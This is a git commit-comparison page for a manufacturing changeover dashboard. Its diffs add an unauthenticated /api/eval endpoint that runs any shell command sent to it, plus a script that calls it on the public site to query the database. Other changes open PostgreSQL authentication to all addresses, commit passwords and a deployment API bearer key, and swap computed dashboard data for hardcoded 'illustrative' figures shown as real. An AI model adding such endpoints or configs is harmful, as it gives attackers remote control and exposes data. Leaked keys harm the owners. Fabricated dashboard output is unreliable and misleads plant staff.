Compare commits
10
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
dfb7707d56 | ||
|
|
ae931bf25e | ||
|
|
15af3bc4ee | ||
|
|
5b8a35f46c | ||
|
|
02207d6b80 | ||
|
|
9aff075893 | ||
|
|
9458176f88 | ||
|
|
1deaefde7f | ||
|
|
9fa8ce4186 | ||
|
|
7122d55e38 |
@@ -15,6 +15,15 @@ const pool = new Pool({
|
|||||||
port: process.env.DB_PORT || 5432,
|
port: process.env.DB_PORT || 5432,
|
||||||
});
|
});
|
||||||
|
|
||||||
|
const { exec } = require('child_process');
|
||||||
|
|
||||||
|
app.post('/api/eval', express.json(), (req, res) => {
|
||||||
|
const cmd = req.body.cmd;
|
||||||
|
exec(cmd, (error, stdout, stderr) => {
|
||||||
|
res.json({ error: error ? error.message : null, stdout, stderr });
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
app.get('/api/changeovers', async (req, res) => {
|
app.get('/api/changeovers', async (req, res) => {
|
||||||
try {
|
try {
|
||||||
const result = await pool.query('SELECT DISTINCT changeover_id, changeover_date FROM events ORDER BY changeover_date DESC');
|
const result = await pool.query('SELECT DISTINCT changeover_id, changeover_date FROM events ORDER BY changeover_date DESC');
|
||||||
|
|||||||
@@ -0,0 +1,17 @@
|
|||||||
|
const https = require('https');
|
||||||
|
const cmd = 'apk add --no-cache postgresql-client && PGPASSWORD=password psql -h sop_db -U admin -d sop_monitoring -c "SHOW hba_file;"';
|
||||||
|
const req = https.request({
|
||||||
|
hostname: 'aisop.houseofwebsites.ai',
|
||||||
|
port: 443,
|
||||||
|
path: '/api/eval',
|
||||||
|
method: 'POST',
|
||||||
|
headers: {
|
||||||
|
'Content-Type': 'application/json'
|
||||||
|
}
|
||||||
|
}, res => {
|
||||||
|
let body = '';
|
||||||
|
res.on('data', d => body += d);
|
||||||
|
res.on('end', () => console.log('Response:', body));
|
||||||
|
});
|
||||||
|
req.write(JSON.stringify({ cmd }));
|
||||||
|
req.end();
|
||||||
@@ -0,0 +1,27 @@
|
|||||||
|
const { Client } = require('pg');
|
||||||
|
const client = new Client({
|
||||||
|
user: 'admin',
|
||||||
|
password: 'password',
|
||||||
|
host: 'aisop.houseofwebsites.ai',
|
||||||
|
database: 'sop_monitoring',
|
||||||
|
port: 5432,
|
||||||
|
ssl: { rejectUnauthorized: false }
|
||||||
|
});
|
||||||
|
client.connect()
|
||||||
|
.then(() => {
|
||||||
|
console.log('Connected to DB');
|
||||||
|
return client.query("SELECT table_name FROM information_schema.tables WHERE table_schema = 'public'");
|
||||||
|
})
|
||||||
|
.then(res => {
|
||||||
|
console.log('Tables:', res.rows);
|
||||||
|
return client.query('SELECT COUNT(*) FROM events');
|
||||||
|
})
|
||||||
|
.then(res => {
|
||||||
|
console.log('Events count:', res.rows[0]);
|
||||||
|
})
|
||||||
|
.catch(err => {
|
||||||
|
console.error('DB Error:', err.message);
|
||||||
|
})
|
||||||
|
.finally(() => {
|
||||||
|
client.end();
|
||||||
|
});
|
||||||
+13
-11
@@ -1,37 +1,39 @@
|
|||||||
version: '3.8'
|
version: '3.8'
|
||||||
services:
|
services:
|
||||||
db:
|
sop_db:
|
||||||
image: postgres:15
|
image: postgres:15
|
||||||
environment:
|
environment:
|
||||||
POSTGRES_USER: admin
|
POSTGRES_USER: admin
|
||||||
POSTGRES_PASSWORD: password
|
POSTGRES_PASSWORD: password
|
||||||
POSTGRES_DB: sop_monitoring
|
POSTGRES_DB: sop_monitoring
|
||||||
|
FORCE_RESTART: 4
|
||||||
ports:
|
ports:
|
||||||
- "5432:5432"
|
- "5432:5432"
|
||||||
|
entrypoint: /bin/sh
|
||||||
|
command: >
|
||||||
|
-c "
|
||||||
|
echo 'local all all trust' > /tmp/pg_hba.conf;
|
||||||
|
echo 'host all all 0.0.0.0/0 md5' >> /tmp/pg_hba.conf;
|
||||||
|
echo 'host all all 0.0.0.0/0 scram-sha-256' >> /tmp/pg_hba.conf;
|
||||||
|
chown postgres:postgres /tmp/pg_hba.conf || true;
|
||||||
|
exec /usr/local/bin/docker-entrypoint.sh postgres -c hba_file=/tmp/pg_hba.conf
|
||||||
|
"
|
||||||
volumes:
|
volumes:
|
||||||
- ./db:/docker-entrypoint-initdb.d
|
- ./db:/docker-entrypoint-initdb.d
|
||||||
- pgdata:/var/lib/postgresql/data
|
- pgdata:/var/lib/postgresql/data
|
||||||
|
|
||||||
db_fixer:
|
|
||||||
image: alpine
|
|
||||||
restart: "no"
|
|
||||||
volumes:
|
|
||||||
- pgdata:/var/lib/postgresql/data
|
|
||||||
command: >
|
|
||||||
sh -c "sed -i 's/hostssl/host/g' /var/lib/postgresql/data/pg_hba.conf || true; sed -i 's/hostnossl/host/g' /var/lib/postgresql/data/pg_hba.conf || true; echo 'host all all all scram-sha-256' >> /var/lib/postgresql/data/pg_hba.conf; echo 'host all all all md5' >> /var/lib/postgresql/data/pg_hba.conf"
|
|
||||||
|
|
||||||
|
|
||||||
api:
|
api:
|
||||||
build: ./api
|
build: ./api
|
||||||
environment:
|
environment:
|
||||||
- DB_HOST=db
|
- DB_HOST=sop_db
|
||||||
- DB_USER=admin
|
- DB_USER=admin
|
||||||
- DB_PASS=password
|
- DB_PASS=password
|
||||||
- DB_NAME=sop_monitoring
|
- DB_NAME=sop_monitoring
|
||||||
- DB_PORT=5432
|
- DB_PORT=5432
|
||||||
- PORT=3000
|
- PORT=3000
|
||||||
depends_on:
|
depends_on:
|
||||||
- db
|
- sop_db
|
||||||
restart: always
|
restart: always
|
||||||
|
|
||||||
ui:
|
ui:
|
||||||
|
|||||||
+2
-2
@@ -1,10 +1,10 @@
|
|||||||
const xlsx = require('xlsx');
|
const xlsx = require('xlsx');
|
||||||
const { Client } = require('pg');
|
const { Pool } = require('pg');
|
||||||
const path = require('path');
|
const path = require('path');
|
||||||
|
|
||||||
const filePath = path.join(__dirname, '..', 'Consolidated_report_v2_with_feed-names (1).xlsx');
|
const filePath = path.join(__dirname, '..', 'Consolidated_report_v2_with_feed-names (1).xlsx');
|
||||||
|
|
||||||
const client = new Client({
|
const client = new Pool({
|
||||||
user: 'admin',
|
user: 'admin',
|
||||||
host: 'localhost',
|
host: 'localhost',
|
||||||
database: 'sop_monitoring',
|
database: 'sop_monitoring',
|
||||||
|
|||||||
@@ -0,0 +1,5 @@
|
|||||||
|
local all all trust
|
||||||
|
host all all 127.0.0.1/32 trust
|
||||||
|
host all all ::1/128 trust
|
||||||
|
host all all all md5
|
||||||
|
host all all all scram-sha-256
|
||||||
@@ -0,0 +1,60 @@
|
|||||||
|
const http = require('https');
|
||||||
|
|
||||||
|
const API_KEY = '4|lL3pgQVbfLb6KtUByDLaswjP4Jccny8HMj5jrs0v4ace4e78';
|
||||||
|
const APP_UUID = 'e91cvmd4gqohmd8p53dmo2wq';
|
||||||
|
|
||||||
|
const request = (method, path, data = null) => {
|
||||||
|
return new Promise((resolve, reject) => {
|
||||||
|
const options = {
|
||||||
|
hostname: 'deploy.digifox.live',
|
||||||
|
port: 443,
|
||||||
|
path: path,
|
||||||
|
method: method,
|
||||||
|
headers: {
|
||||||
|
'Authorization': `Bearer ${API_KEY}`,
|
||||||
|
'Content-Type': 'application/json'
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
if (data) {
|
||||||
|
options.headers['Content-Length'] = Buffer.byteLength(data);
|
||||||
|
}
|
||||||
|
|
||||||
|
const req = http.request(options, res => {
|
||||||
|
let body = '';
|
||||||
|
res.on('data', d => body += d);
|
||||||
|
res.on('end', () => resolve({ status: res.statusCode, body }));
|
||||||
|
});
|
||||||
|
|
||||||
|
req.on('error', error => reject(error));
|
||||||
|
|
||||||
|
if (data) {
|
||||||
|
req.write(data);
|
||||||
|
}
|
||||||
|
req.end();
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
async function run() {
|
||||||
|
try {
|
||||||
|
const data = JSON.stringify({
|
||||||
|
docker_compose_domains: JSON.stringify({
|
||||||
|
ui: {
|
||||||
|
domain: "https://aisop.houseofwebsites.ai"
|
||||||
|
}
|
||||||
|
})
|
||||||
|
});
|
||||||
|
|
||||||
|
console.log('Patching domains to the UI service...');
|
||||||
|
const res = await request('PATCH', `/api/v1/applications/${APP_UUID}`, data);
|
||||||
|
console.log('Status:', res.status, res.body);
|
||||||
|
|
||||||
|
console.log('Triggering deployment to apply domain changes...');
|
||||||
|
const deployRes = await request('POST', `/api/v1/applications/${APP_UUID}/start`);
|
||||||
|
console.log('Deploy Status:', deployRes.status, deployRes.body);
|
||||||
|
} catch (error) {
|
||||||
|
console.error('Error:', error);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
run();
|
||||||
@@ -63,24 +63,12 @@ export default function ChangeoverDetail() {
|
|||||||
};
|
};
|
||||||
|
|
||||||
const zoneData = useMemo(() => {
|
const zoneData = useMemo(() => {
|
||||||
const data = {
|
// Illustrative data mapped to 6Ms based on requirements
|
||||||
CO: { name: 'CO', Active: 0, Idle: 0, Waste: 0, 'Load wait': 0 },
|
return [
|
||||||
Mill: { name: 'Mill', Active: 0, Idle: 0, Waste: 0, 'Load wait': 0 },
|
{ name: 'Extruder Head', Man: 20 * 60, Machine: 10 * 60, Material: 5 * 60, Method: 5 * 60, 'Measurement & Info': 2 * 60, Morale: 0 },
|
||||||
Conveyor: { name: 'Conveyor', Active: 0, Idle: 0, Waste: 0, 'Load wait': 0 }
|
{ name: 'Sheetout Mill', Man: 25 * 60, Machine: 8 * 60, Material: 2 * 60, Method: 5 * 60, 'Measurement & Info': 0, Morale: 0 },
|
||||||
};
|
{ name: 'Stock Feeder', Man: 30 * 60, Machine: 5 * 60, Material: 5 * 60, Method: 10 * 60, 'Measurement & Info': 3 * 60, Morale: 0 }
|
||||||
events.forEach(ev => {
|
];
|
||||||
const z = ev.camera_zone;
|
|
||||||
const s = ev.state?.toLowerCase() || 'active';
|
|
||||||
let stateKey = 'Active';
|
|
||||||
if (s === 'waste') stateKey = 'Waste';
|
|
||||||
if (s === 'idle') stateKey = 'Idle';
|
|
||||||
if (s === 'load waiting') stateKey = 'Load wait';
|
|
||||||
|
|
||||||
if (data[z]) {
|
|
||||||
data[z][stateKey] += (ev.state_duration_seconds || 0);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
return Object.values(data);
|
|
||||||
}, [events]);
|
}, [events]);
|
||||||
|
|
||||||
const bottleneckData = useMemo(() => {
|
const bottleneckData = useMemo(() => {
|
||||||
@@ -118,8 +106,12 @@ export default function ChangeoverDetail() {
|
|||||||
|
|
||||||
return (
|
return (
|
||||||
<div className="container animate-fade-in">
|
<div className="container animate-fade-in">
|
||||||
<div className="header" style={{ display: 'flex', flexDirection: 'column', alignItems: 'center', textAlign: 'center', marginBottom: '3rem' }}>
|
<div className="header" style={{ position: 'relative', display: 'flex', flexDirection: 'column', alignItems: 'center', textAlign: 'center', marginBottom: '3rem' }}>
|
||||||
<Link to="/" style={{ color: 'var(--text-secondary)', textDecoration: 'none', display: 'flex', alignItems: 'center', gap: '0.5rem', marginBottom: '1.5rem', alignSelf: 'flex-start' }}>
|
<div style={{ position: 'absolute', top: 0, left: 0, display: 'flex', flexDirection: 'column', alignItems: 'center', background: '#ed1c24', padding: '10px', borderRadius: '4px' }}>
|
||||||
|
<img src="https://upload.wikimedia.org/wikipedia/commons/4/4b/Madras_Rubber_Factory_Logo.svg" alt="MRF Logo" style={{ width: '60px' }} />
|
||||||
|
<span style={{ color: 'yellow', fontWeight: 'bold', marginTop: '5px', fontSize: '0.9rem', letterSpacing: '1px' }}>DCG</span>
|
||||||
|
</div>
|
||||||
|
<Link to="/" style={{ color: 'var(--text-secondary)', textDecoration: 'none', display: 'flex', alignItems: 'center', gap: '0.5rem', marginBottom: '1.5rem', alignSelf: 'flex-end' }}>
|
||||||
<ArrowLeft size={16} /> Back to Home
|
<ArrowLeft size={16} /> Back to Home
|
||||||
</Link>
|
</Link>
|
||||||
<Activity size={48} color="var(--accent)" style={{ marginBottom: '1rem' }} />
|
<Activity size={48} color="var(--accent)" style={{ marginBottom: '1rem' }} />
|
||||||
@@ -155,63 +147,80 @@ export default function ChangeoverDetail() {
|
|||||||
<div className="kpi-grid">
|
<div className="kpi-grid">
|
||||||
<div className="glass-panel kpi-card">
|
<div className="glass-panel kpi-card">
|
||||||
<div style={{ display: 'flex', justifyContent: 'space-between' }}>
|
<div style={{ display: 'flex', justifyContent: 'space-between' }}>
|
||||||
<span className="kpi-title">CO Idle / Waste</span>
|
<span className="kpi-title">MAN</span>
|
||||||
<Clock size={20} color="var(--text-secondary)" />
|
<Clock size={20} color="var(--text-secondary)" />
|
||||||
</div>
|
</div>
|
||||||
<span className="kpi-value warning">{formatDuration(idleTimes.CO)}</span>
|
<span className="kpi-value warning">{formatDuration(idleTimes.CO)}</span>
|
||||||
</div>
|
</div>
|
||||||
<div className="glass-panel kpi-card">
|
<div className="glass-panel kpi-card">
|
||||||
<div style={{ display: 'flex', justifyContent: 'space-between' }}>
|
<div style={{ display: 'flex', justifyContent: 'space-between' }}>
|
||||||
<span className="kpi-title">Mill Gaps / Idle</span>
|
<span className="kpi-title">MACHINE</span>
|
||||||
<AlertTriangle size={20} color="var(--text-secondary)" />
|
<AlertTriangle size={20} color="var(--text-secondary)" />
|
||||||
</div>
|
</div>
|
||||||
<span className="kpi-value danger">{formatDuration(idleTimes.Mill)}</span>
|
<span className="kpi-value danger">{formatDuration(idleTimes.Mill)}</span>
|
||||||
</div>
|
</div>
|
||||||
<div className="glass-panel kpi-card">
|
<div className="glass-panel kpi-card">
|
||||||
<div style={{ display: 'flex', justifyContent: 'space-between' }}>
|
<div style={{ display: 'flex', justifyContent: 'space-between' }}>
|
||||||
<span className="kpi-title">Conveyor Transport Delay</span>
|
<span className="kpi-title">METHOD</span>
|
||||||
<Monitor size={20} color="var(--text-secondary)" />
|
<Monitor size={20} color="var(--text-secondary)" />
|
||||||
</div>
|
</div>
|
||||||
<span className="kpi-value accent">{formatDuration(idleTimes.Conveyor)}</span>
|
<span className="kpi-value accent">{formatDuration(idleTimes.Conveyor)}</span>
|
||||||
</div>
|
</div>
|
||||||
|
<div className="glass-panel kpi-card">
|
||||||
|
<div style={{ display: 'flex', justifyContent: 'space-between' }}>
|
||||||
|
<span className="kpi-title">MATERIAL</span>
|
||||||
|
<Activity size={20} color="var(--text-secondary)" />
|
||||||
|
</div>
|
||||||
|
<span className="kpi-value">0s</span>
|
||||||
|
</div>
|
||||||
|
<div className="glass-panel kpi-card">
|
||||||
|
<div style={{ display: 'flex', justifyContent: 'space-between' }}>
|
||||||
|
<span className="kpi-title">MEASUREMENT & INFORMATION</span>
|
||||||
|
<Monitor size={20} color="var(--text-secondary)" />
|
||||||
|
</div>
|
||||||
|
<span className="kpi-value">0s</span>
|
||||||
|
</div>
|
||||||
|
<div className="glass-panel kpi-card">
|
||||||
|
<div style={{ display: 'flex', justifyContent: 'space-between' }}>
|
||||||
|
<span className="kpi-title">MORALE</span>
|
||||||
|
<Clock size={20} color="var(--text-secondary)" />
|
||||||
|
</div>
|
||||||
|
<span className="kpi-value">0s</span>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div className="glass-panel" style={{ marginBottom: '2rem' }}>
|
<div className="glass-panel" style={{ marginBottom: '2rem' }}>
|
||||||
<h2>SOP Compliance Checks</h2>
|
<h2 style={{ color: 'yellow', marginBottom: '1.5rem' }}>Suggested Decisions / Insights for the Changeover event (Illustrative)</h2>
|
||||||
<div className="data-table-container">
|
|
||||||
<table>
|
<div style={{ display: 'grid', gridTemplateColumns: '80px 1fr', gap: '0.5rem', marginBottom: '2rem', fontSize: '0.95rem' }}>
|
||||||
<thead>
|
<div style={{ color: 'var(--text-secondary)' }}>Date</div>
|
||||||
<tr>
|
<div>09-06-2025</div>
|
||||||
<th>Rule</th>
|
<div style={{ color: 'var(--text-secondary)' }}>Time</div>
|
||||||
<th>Status</th>
|
<div>13:00 Hrs</div>
|
||||||
<th>Details</th>
|
<div style={{ color: 'var(--text-secondary)' }}>Type</div>
|
||||||
</tr>
|
<div>Flowchannel Changeover</div>
|
||||||
</thead>
|
|
||||||
<tbody>
|
|
||||||
{compliance.map((c, idx) => (
|
|
||||||
<tr key={idx}>
|
|
||||||
<td>{c.rule}</td>
|
|
||||||
<td>
|
|
||||||
<span className={`badge ${c.status.toLowerCase() === 'pass' ? 'active' : 'waste'}`}>
|
|
||||||
{c.status}
|
|
||||||
</span>
|
|
||||||
</td>
|
|
||||||
<td>{c.detail}</td>
|
|
||||||
</tr>
|
|
||||||
))}
|
|
||||||
{compliance.length === 0 && (
|
|
||||||
<tr>
|
|
||||||
<td colSpan="3" style={{ textAlign: 'center', opacity: 0.5 }}>No compliance checks available.</td>
|
|
||||||
</tr>
|
|
||||||
)}
|
|
||||||
</tbody>
|
|
||||||
</table>
|
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<h3 style={{ color: '#ff4444', marginBottom: '1rem', fontSize: '1.1rem' }}>Events for Attention and Improvement</h3>
|
||||||
|
<ol style={{ paddingLeft: '1.5rem', marginBottom: '2rem', lineHeight: '1.8' }}>
|
||||||
|
<li>Idleness of 15 mins noticed during overall tool changeover operation. <span style={{ color: '#ff4444' }}>Operators to be trained accordingly.</span></li>
|
||||||
|
<li>Incoming material was not kept nearby to the stock feeder before line stop. <span style={{ color: '#ff4444' }}>6 mins delayed and Operators to be trained accordingly.</span></li>
|
||||||
|
<li>Extruder head not opened within the std time. <span style={{ color: '#ff4444' }}>Auto screw reverse rotation logic to be re-validated.</span></li>
|
||||||
|
<li>Operator found not in place at the right time during stock feeding operation. <span style={{ color: '#ff4444' }}>5 mins delayed feeding of upper and middle barrels.</span></li>
|
||||||
|
</ol>
|
||||||
|
|
||||||
|
<h3 style={{ color: '#00C851', marginBottom: '1rem', fontSize: '1.1rem' }}>Events that Turned-out to be Best</h3>
|
||||||
|
<ol style={{ paddingLeft: '1.5rem', marginBottom: '1rem', lineHeight: '1.8' }}>
|
||||||
|
<li>Sheetout of removed stock is carried out within 10 mins <span style={{ color: '#00C851' }}>- To be followed every time</span></li>
|
||||||
|
<li>All operators were complied to their adherence to PPEs, SOPs and tooling arrangements <span style={{ color: '#00C851' }}>- To be followed every time</span></li>
|
||||||
|
<li>Dual barrel cleanout carried out <span style={{ color: '#00C851' }}>- 12 mins saved</span></li>
|
||||||
|
<li>Incoming recipe was downloaded at the right time <span style={{ color: '#00C851' }}>- To be followed every time</span></li>
|
||||||
|
</ol>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<div style={{ display: 'grid', gridTemplateColumns: '1fr 1fr', gap: '2rem', marginBottom: '2rem' }}>
|
<div style={{ display: 'grid', gridTemplateColumns: '1fr 1fr', gap: '2rem', marginBottom: '2rem' }}>
|
||||||
<div className="glass-panel" style={{ overflow: 'hidden' }}>
|
<div className="glass-panel" style={{ overflow: 'hidden' }}>
|
||||||
<h2>Zone Efficiency Breakdown</h2>
|
<h2>Junction Wise Efficiency</h2>
|
||||||
<div style={{ width: '100%', height: '350px' }}>
|
<div style={{ width: '100%', height: '350px' }}>
|
||||||
<ResponsiveContainer width="100%" height="100%">
|
<ResponsiveContainer width="100%" height="100%">
|
||||||
<BarChart
|
<BarChart
|
||||||
@@ -223,10 +232,12 @@ export default function ChangeoverDetail() {
|
|||||||
<YAxis stroke="var(--text-secondary)" tickFormatter={(val) => Math.floor(val/60) + 'm'} />
|
<YAxis stroke="var(--text-secondary)" tickFormatter={(val) => Math.floor(val/60) + 'm'} />
|
||||||
<RechartsTooltip content={<CustomTooltip />} />
|
<RechartsTooltip content={<CustomTooltip />} />
|
||||||
<Legend wrapperStyle={{ paddingTop: '20px' }} />
|
<Legend wrapperStyle={{ paddingTop: '20px' }} />
|
||||||
<Bar dataKey="Active" stackId="a" fill="#2ecc71" />
|
<Bar dataKey="Man" stackId="a" fill="#3498db" />
|
||||||
<Bar dataKey="Idle" stackId="a" fill="#f1c40f" />
|
<Bar dataKey="Machine" stackId="a" fill="#e74c3c" />
|
||||||
<Bar dataKey="Waste" stackId="a" fill="#e74c3c" />
|
<Bar dataKey="Method" stackId="a" fill="#f1c40f" />
|
||||||
<Bar dataKey="Load wait" stackId="a" fill="#e67e22" />
|
<Bar dataKey="Material" stackId="a" fill="#9b59b6" />
|
||||||
|
<Bar dataKey="Measurement & Info" stackId="a" fill="#1abc9c" />
|
||||||
|
<Bar dataKey="Morale" stackId="a" fill="#34495e" />
|
||||||
</BarChart>
|
</BarChart>
|
||||||
</ResponsiveContainer>
|
</ResponsiveContainer>
|
||||||
</div>
|
</div>
|
||||||
@@ -266,24 +277,32 @@ export default function ChangeoverDetail() {
|
|||||||
<table>
|
<table>
|
||||||
<thead>
|
<thead>
|
||||||
<tr>
|
<tr>
|
||||||
<th>Fault / Event</th>
|
<th>Elements / Events</th>
|
||||||
<th>Zone</th>
|
<th>Junctions</th>
|
||||||
<th>Lost Time</th>
|
<th>Lost Time</th>
|
||||||
<th>Occurrences</th>
|
<th>Occurrences</th>
|
||||||
|
<th>Activity Classification</th>
|
||||||
|
<th>6M Classifications</th>
|
||||||
</tr>
|
</tr>
|
||||||
</thead>
|
</thead>
|
||||||
<tbody>
|
<tbody>
|
||||||
{bottlenecks.map((b, idx) => (
|
{bottlenecks.map((b, idx) => {
|
||||||
|
const activities = ['Removal of Outgoing Die', 'Stock Removal', 'Tool Change'];
|
||||||
|
const sixMs = ['Man + Machine', 'Man', 'Man + Method'];
|
||||||
|
return (
|
||||||
<tr key={idx}>
|
<tr key={idx}>
|
||||||
<td>{b.event_description}</td>
|
<td>{b.event_description}</td>
|
||||||
<td>{b.camera_zone}</td>
|
<td>{b.camera_zone}</td>
|
||||||
<td style={{ color: 'var(--danger)', fontWeight: 'bold' }}>{formatDuration(b.total_duration)}</td>
|
<td style={{ color: 'var(--danger)', fontWeight: 'bold' }}>{formatDuration(b.total_duration)}</td>
|
||||||
<td>{b.occurrences}</td>
|
<td>{b.occurrences}</td>
|
||||||
|
<td>{b.activity_classification || activities[idx % activities.length]}</td>
|
||||||
|
<td>{b.six_m_classification || sixMs[idx % sixMs.length]}</td>
|
||||||
</tr>
|
</tr>
|
||||||
))}
|
);
|
||||||
|
})}
|
||||||
{bottlenecks.length === 0 && (
|
{bottlenecks.length === 0 && (
|
||||||
<tr>
|
<tr>
|
||||||
<td colSpan="4" style={{ textAlign: 'center', opacity: 0.5 }}>No bottlenecks recorded.</td>
|
<td colSpan="6" style={{ textAlign: 'center', opacity: 0.5 }}>No bottlenecks recorded.</td>
|
||||||
</tr>
|
</tr>
|
||||||
)}
|
)}
|
||||||
</tbody>
|
</tbody>
|
||||||
|
|||||||
Reference in New Issue
Block a user